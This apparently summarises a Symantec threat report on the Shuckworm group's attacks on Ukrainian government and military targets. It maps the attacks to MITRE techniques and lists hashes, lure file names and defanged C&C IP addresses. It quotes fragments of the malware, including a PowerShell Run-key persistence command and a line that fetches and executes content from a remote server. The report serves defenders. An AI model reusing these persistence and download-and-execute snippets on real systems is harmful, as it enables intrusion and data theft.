Symantec tracks Shuckworm’s ongoing campaign against Ukraine, noting expanded use of IP addresses in PowerShell scripts and a growing variety of obfuscation techniques (up to 25 variants per month in early 2023). The group’s attacks leveraged VBS-based backdoors (Pterodo), USB-delivered payloads (including a Base64-encoded foto.safe), and LNK shortcuts to copy itself, targeting Ukrainian military, security, and government organizations to access sensitive data. #Shuckworm #Pterodo
Keypoints
- Shuckworm expanded IP usage in PowerShell scripts and increased obfuscation, with up to 25 new variants observed per month (Jan–Apr 2023).
- A VBS script, identified as Shuckworm’s Pterodo backdoor, was executed on infected machines.
-
MITRE Techniques
- [T1059.001] PowerShell – Attackers used PowerShell scripts with obfuscation and multiple variants to evade detection. “More recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts… with up to 25 new variants of the group’s scripts observed per month between January and April 2023.”
- [T1059.005] Visual Basic – VBScript-based backdoor execution via wscript.exe. “Next, a VBS script, which was Shuckworm’s Pterodo backdoor, was executed:”
- [T1023] Shortcut Modification – The malware creates and uses LNK shortcuts to execute PowerShell, enabling stealthy execution. “This PowerShell script is used to copy itself onto the infected machine and then create a shortcut file that links to the PowerShell script.”
- [T1091] Replication Through Removable Media – USB drives used to drop the foto.safe file on targeted machines. “The foto.safe file is a Base64-encoded script” and “dropped by an infected USB key…”
- [T1027] Obfuscated/Encoded Files and Information – The foto.safe file is Base64-encoded and decodes into a PowerShell-based dropper. “The foto.safe file is a Base64-encoded script.”
- [T1060] Registry Run Keys/Startup Folder – Persistence via Run key to launch PowerShell. “Set-ItemProperty -path HKCU:SoftwareMicrosoftWindowsCurrentVersionRun -Name safe -Value …”
- [T1105] Ingress Tool Transfer – The dropper downloads additional content from remote HTTP servers. “$urLs = ‘http://’+ … +’/sleep.php’; iEX (New-Object Net.WebClient).UploadString($urls.ToLower(),”)”
Indicators of Compromise
- Malicious documents – f7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192, 31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b, and other hashes
- USB propagation scripts – 28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01, 2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581, and other hashes
- Example of LNK files created – 7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a
- LNK file names – account.rtf.lnk, account_card.rtf.lnk, application.rtf.lnk, bank_accоunt.rtf.lnk, blank_cap.rtf.lnk, and others
- Recent C&C infrastructure (2023) – 45.76.141[.]166, 159.223.112[.]245, 140.82.56[.]186, and many more IPs